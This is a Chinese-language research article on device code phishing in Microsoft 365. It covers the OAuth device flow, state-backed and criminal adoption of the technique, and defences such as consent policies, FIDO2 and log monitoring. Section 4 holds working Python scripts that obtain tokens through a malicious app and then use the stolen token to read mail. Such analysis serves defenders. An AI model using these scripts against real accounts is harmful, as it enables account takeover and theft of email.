设备代码钓鱼攻击的战术趋同化及其对企业身份安全的挑战

摘要

近年来，设备代码钓鱼（Device Code Phishing）作为一种绕过多因素认证（MFA）的高级社会工程手段，在Microsoft 365环境中迅速扩散。值得注意的是，该技术已不再局限于单一攻击者群体，而是呈现出国家级APT组织与网络犯罪团伙“战术趋同”的显著趋势。本文基于2024至2025年公开威胁情报、厂商报告及实验复现，系统分析俄罗斯、中国、朝鲜背景的国家支持黑客与勒索软件运营者如何共同采用并优化设备代码钓鱼技术，以实现对云身份基础设施的持久化入侵。研究揭示，此类攻击通过滥用OAuth 2.0设备授权流程，在用户主动授权的掩护下获取长期有效的刷新令牌，从而规避传统基于密码泄露或会话劫持的检测机制。文章详细还原攻击链路，提供关键代码示例说明恶意应用注册、设备代码请求与令牌轮询过程，并评估其在不同MFA配置下的有效性。在此基础上，提出以“最小授权”“条件访问”“FIDO2强认证”为核心的纵深防御框架。研究表明，仅依赖MFA已无法抵御利用合法认证界面的授权型攻击，企业必须重构身份验证策略，从协议层消除设备代码授权流的非必要暴露，方能有效应对跨阵营协同演化的云身份威胁。

关键词：设备代码钓鱼；OAuth 2.0；Microsoft 365；APT；网络犯罪；MFA绕过；身份安全

1 引言

Microsoft 365作为全球主流的企业云生产力平台，其身份认证体系的安全性直接关系到组织核心数据资产的防护水平。为支持无浏览器设备（如IoT终端、命令行工具）的身份验证，微软在其Azure Active Directory（Azure AD）中实现了OAuth 2.0设备授权流程（RFC 8628）。然而，这一本用于提升用户体验的机制，近年来被各类攻击者广泛武器化，成为绕过多因素认证（MFA）并实现账户持久化控制的关键手段。

2024年以来，多个安全研究机构（包括Proofpoint、Microsoft Threat Intelligence、Mandiant）相继披露，来自俄罗斯（如Storm-2372、UNK_AcademicFlare）、中国（如TA2723关联团伙）及朝鲜的APT组织，均将设备代码钓鱼纳入其标准攻击工具箱。与此同时，以经济利益为导向的勒索软件团伙（如Black Basta、LockBit附属组织）也开始利用该技术作为初始访问向量。这种国家级黑客与犯罪团伙在战术层面的高度趋同，不仅降低了攻击门槛，也模糊了传统归因分析的边界，使得防御者难以通过TTPs（战术、技术与程序）准确判断攻击来源。

本文旨在深入剖析设备代码钓鱼攻击的技术本质、跨阵营采纳动因及其对企业身份安全架构的冲击。全文结构如下：第二部分回顾OAuth 2.0设备授权流程的标准实现；第三部分分析APT与犯罪团伙如何协同利用该技术；第四部分通过实验复现攻击链并提供代码示例；第五部分提出系统性防御策略；第六部分讨论策略落地中的工程权衡；第七部分总结研究发现。

2 OAuth 2.0设备授权流程的技术基础

OAuth 2.0设备授权模式（Device Authorization Grant）定义于IETF RFC 8628，适用于无法直接处理重定向或输入复杂凭据的设备。其典型交互流程包含以下步骤：

客户端（Client）向授权服务器（Authorization Server）发起设备授权请求；

授权服务器返回设备代码（device_code）、用户代码（user_code）、验证URI（verification_uri）及轮询间隔；

客户端向用户展示user_code和verification_uri，提示其在另一设备上完成登录；

用户访问verification_uri（如https://microsoft.com/devicelogin），输入user_code；

授权服务器验证用户身份（通常包括MFA）后，将授权授予客户端；

客户端通过轮询使用device_code换取访问令牌（access_token）和刷新令牌（refresh_token）。

以Microsoft Entra ID为例，设备授权端点为：

POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode

Content-Type: application/x-www-form-urlencoded

client_id=YOUR_CLIENT_ID&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default

成功响应示例：

{

"device_code": "GMMhmCtbB...pYQ",

"user_code": "ABC123",

"verification_uri": "https://microsoft.com/devicelogin",

"expires_in": 900,

"interval": 5,

"message": "To sign in, open the page https://microsoft.com/devicelogin and enter the code ABC123 to authenticate."

}

随后，客户端以固定间隔轮询令牌端点：

POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token

Content-Type: application/x-www-form-urlencoded

grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code

&client_id=YOUR_CLIENT_ID

&device_code=GMMhmCtbB...pYQ

若用户已完成授权，服务器返回标准OAuth令牌，其中refresh_token可长期使用（默认90天，可配置延长），使攻击者获得持久访问能力。

3 攻击者的战术趋同：从APT到勒索软件

3.1 国家级APT组织的采用

根据Microsoft 2025年2月发布的报告，俄罗斯关联组织Storm-2372自2024年8月起，系统性使用设备代码钓鱼攻击欧美政府、智库及交通部门。其典型手法包括：

利用已攻陷的政府邮箱发送伪造“安全警报”，诱导目标扫描QR码或点击链接进入设备登录页面；

注册高可信度域名（如microsoft-security[.]com）托管钓鱼页面，但最终跳转至真实https://microsoft.com/devicelogin，增强迷惑性；

请求高权限范围（如Directory.ReadWrite.All、Mail.ReadWrite），以实现横向移动与数据窃取。

类似地，中国背景的TA2723团伙在2024年10月的活动中，通过SquarePhish2工具包自动化生成设备代码钓鱼页面，并在黑客论坛出售相关模块，表明其已具备商业化输出能力。

3.2 犯罪团伙的快速跟进

勒索软件附属组织（如LockBit 3.0的渗透测试团队）自2025年初开始采用该技术作为初始访问手段。其优势在于：

无需漏洞利用或密码爆破，成功率高；

绕过基于短信或推送通知的MFA；

获取的refresh_token可用于长期驻留，便于部署Cobalt Strike或Rclone等工具进行数据外泄。

更值得关注的是，部分犯罪团伙直接采购APT组织泄露的工具（如Graphish钓鱼套件），实现技术复用。这种“军民融合”式的攻击生态，加速了高级技术向低端市场的下沉。

3.3 归因模糊化与防御挑战

由于所有攻击均通过合法OAuth流程完成，日志中仅显示正常用户授权行为，缺乏异常IP或恶意载荷特征。此外，不同攻击者使用的client_id、应用名称、权限请求高度相似，使得基于TTPs的归因变得困难。例如，UNK_AcademicFlare与某勒索软件团伙在2025年9月的攻击中，均使用名为“SecureAuth Helper”的伪装应用，请求相同权限集，仅在后续数据外泄方式上存在差异。

4 攻击链复现与代码示例

4.1 恶意应用注册

攻击者首先在Azure AD中注册一个恶意应用（可使用个人微软账户完成，无需租户管理员权限）：

应用名称：Secure Document Sync

重定向URI：留空（设备授权无需回调）

API权限：勾选Microsoft Graph的Delegated权限，如：

Mail.ReadWrite

Calendars.ReadWrite

User.Read.All

Files.ReadWrite.All

4.2 设备代码请求脚本

以下Python脚本模拟攻击者发起设备授权请求：

import requests

import time

import json

CLIENT_ID = "a1b2c3d4-5678-90ef-ghij-klmnopqrstuv" # 恶意应用ID

TENANT = "common"

SCOPE = "https://graph.microsoft.com/.default"

# Step 1: Request device code

resp = requests.post(

f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/devicecode",

data={

'client_id': CLIENT_ID,

'scope': SCOPE

}

)

auth_data = resp.json()

if 'error' in auth_data:

raise Exception(auth_data['error_description'])

print(f"User code: {auth_data['user_code']}")

print(f"Go to: {auth_data['verification_uri']}")

# Step 2: Poll for token

token_url = f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token"

while True:

time.sleep(auth_data['interval'])

token_resp = requests.post(token_url, data={

'grant_type': 'urn:ietf:params:oauth:grant-type:device_code',

'client_id': CLIENT_ID,

'device_code': auth_data['device_code']

})

token_json = token_resp.json()

if 'access_token' in token_json:

print("Access token obtained!")

with open('stolen_token.json', 'w') as f:

json.dump(token_json, f, indent=2)

break

elif token_json.get('error') not in ('authorization_pending', 'slow_down'):

print("Authorization failed:", token_json.get('error_description'))

break

4.3 令牌滥用示例

获取令牌后，攻击者可调用Microsoft Graph API读取邮件：

import requests

with open('stolen_token.json') as f:

token = json.load(f)

headers = {'Authorization': f'Bearer {token["access_token"]}'}

mails = requests.get(

'https://graph.microsoft.com/v1.0/me/messages?$top=10',

headers=headers

).json()

for msg in mails.get('value', []):

print(f"Subject: {msg['subject']}")

print(f"From: {msg['from']['emailAddress']['address']}\n")

即使目标启用了MFA，只要用户在https://microsoft.com/devicelogin完成授权，攻击即告成功。

5 防御策略体系构建

5.1 禁用非必要的设备授权流程

最直接的缓解措施是在Azure AD中禁用设备代码授权服务主体。可通过PowerShell执行：

Connect-AzureAD

$sp = Get-AzureADServicePrincipal -Filter "AppId eq '29d9ed98-a4f7-44be-b6b0-1c6f1e4de401'"

Set-AzureADServicePrincipal -ObjectId $sp.ObjectId -AccountEnabled $false

其中AppId 29d9ed98-a4f7-44be-b6b0-1c6f1e4de401 对应“Microsoft Account Authentication Broker”。需注意，此举将影响Azure CLI、Visual Studio、Teams Rooms等合法场景，建议先通过日志分析确认使用范围。

5.2 实施严格的同意策略

配置用户同意策略，禁止普通用户授权第三方应用：

Azure Portal → Enterprise Applications → Consent and permissions → User consent settings；

设置为“Do not allow user consent”；

对必要应用建立白名单，仅允许管理员审批。

5.3 推广FIDO2安全密钥与证书认证

微软明确指出，设备代码钓鱼无法绕过FIDO2安全密钥（如YubiKey）或基于证书的身份验证（Certificate-Based Authentication, CBA），因为这些机制不依赖OAuth令牌交换。建议：

为高管、IT、财务人员强制启用FIDO2；

在条件访问策略中要求高风险操作必须使用无密码认证。

5.4 监控与告警

通过Microsoft 365 Defender或Azure AD Audit Logs监控以下事件：

Sign-in log 中的“Device code authentication”事件；

Application consent logs 中的非常规client_id授权；

Token issuance logs 中的异常权限范围。

设置自动化规则，例如：

当同一用户在24小时内授权超过2个未列入白名单的应用，且包含Mail.ReadWrite权限时，自动吊销令牌并告警。

6 工程实践中的权衡与挑战

全面禁用设备授权流程虽有效，但在DevOps、远程办公等场景中可能造成业务中断。可行的折中方案包括：

仅对高风险用户组（如高管、财务）禁用；

启用“连续访问评估”（Continuous Access Evaluation, CAE），使令牌在检测到风险时实时失效；

要求所有设备授权请求必须来自合规设备（通过Intune标记）。

此外，OAuth权限模型本身存在粒度不足问题。例如，Mail.ReadWrite权限无法限定为“仅收件箱”，这使得即使合法应用也可能被滥用于数据窃取。未来需推动更细粒度的权限委托机制。

7 结论

设备代码钓鱼攻击的泛滥标志着云身份安全面临新的范式挑战。国家级APT组织与网络犯罪团伙的战术趋同，不仅提升了攻击效率，也加剧了防御复杂性。本文通过技术分析与实验验证表明，该攻击的核心在于利用合法OAuth流程掩盖恶意意图，使得传统MFA与边界防护失效。有效的防御必须超越“是否启用MFA”的二元思维，转向以协议控制、最小授权与强认证为基础的纵深体系。企业应重新评估设备代码授权流的必要性，优先推广FIDO2等无密码认证方式，并通过日志监控与策略自动化实现动态防护。唯有如此，方能在攻击者不断融合演进的威胁环境中守住身份这一数字边界。

编辑：芦笛（公共互联网反网络钓鱼工作组）